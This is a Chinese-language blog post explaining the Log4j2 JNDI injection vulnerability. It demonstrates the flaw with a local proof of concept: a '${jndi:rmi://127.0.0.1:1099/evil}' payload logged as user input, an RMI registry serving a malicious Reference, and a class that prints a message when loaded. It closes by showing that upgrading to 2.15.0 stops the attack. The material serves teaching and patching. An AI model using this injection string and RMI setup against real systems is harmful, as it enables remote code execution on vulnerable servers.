栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Log4j2漏洞详解

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Log4j2漏洞详解

周五本应该是个开心的日子,但是12月10日这一天却开心不起来。我想每个程序员都收到了log4j2告警推送了,不得不紧急处理。

以下主要就是来解释下JDNI怎么通过log4j2远程注入攻击我们服务呢?当天晚上log4j2也紧急上线了2.15.0版本修复了此漏洞。

1 引入log4j2依赖包 



    4.0.0

    org.example
    log4j-demo
    1.0-SNAPSHOT

    
        2.14.0
    


    
        
        
            org.apache.logging.log4j
            log4j-core
            ${log4.version}
        

        
        
            org.apache.logging.log4j
            log4j-api
            ${log4.version}
        
    


package com.lwl;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {

    private static final Logger logger= LogManager.getLogger();


    public static void main(String[] args) {

        String userName= "李商隐";

        logger.info("这是我们的服务,你好:{}",userName);
    }
}

上面这段代码肯定是大家最熟悉不过了,输出大达也知道:这是我们的服务,你好:李商隐

但是再看下下面的代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {

    private static final Logger logger= LogManager.getLogger();

    public static void main(String[] args) {
        //String userName= "李商隐";
        String userName= "${java:os}";
        logger.info("这是我们的服务,你好:{}",userName);
    }
}

输出的结果却是:这是我们的服务,你好:Windows 10 10.0, architecture: amd64-64

而不是? 这是我们的服务,你好:${java:os}  这是为什么呢?

2 接着我们打开阿帕奇 log4j2网站查看

 

 上面的文档只好对应了刚刚输入的  java:os

3 下面是此次JDNI攻击

 log4j2遇到了${}都会根据所属的指令去执行相应的处理。

下面我们准备一个服务

3.1 一个简单的输出类

package com.lwl.remote;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class ConsoleDTO implements ObjectFactory {

    static {
        System.out.println("你已经被攻击了");
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        return null;
    }
}

3.2 利用LocateRegistry注册一个简单地服务

package com.lwl.remote;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RemoteService {

    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("create rmi registry on port 1099");
            Reference reference = new Reference("com.lwl.remote.ConsoleDTO","com.lwl.remote.ConsoleDTO","com.lwl.remote.ConsoleDTO");
            ReferenceWrapper referenceWrapper =new ReferenceWrapper(reference);
            registry.bind("evil",referenceWrapper);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

}

3.3 修改日志打印类的userName

package com.lwl;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {

    private static final Logger logger= LogManager.getLogger();

    public static void main(String[] args) {

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String userName= "${jndi:rmi://127.0.0.1:1099/evil}";

        logger.info("这是我们的服务,你好:{}",userName);
    }
}

最终我们来查看结果

你已经被攻击了
[11:18:21:946] [INFO] - com.lwl.Log4jTest.main(Log4jTest.java:21) - 这是我们的服务,你好:${jndi:rmi://127.0.0.1:1099/evil}

Process finished with exit code 0

最终执行的服务代码在输出日志的同时执行了我们在输入框注入的代码:你已经背攻击了。

目前log4j2已经上传了最新的包2.15.0 将pom文件引入最新的版本。

再次执行结果将会只有

[11:23:29:958] [INFO] - com.lwl.Log4jTest.main(Log4jTest.java:21) - 这是我们的服务,你好:${jndi:rmi://127.0.0.1:1099/evil}

Process finished with exit code 0

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/657971.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号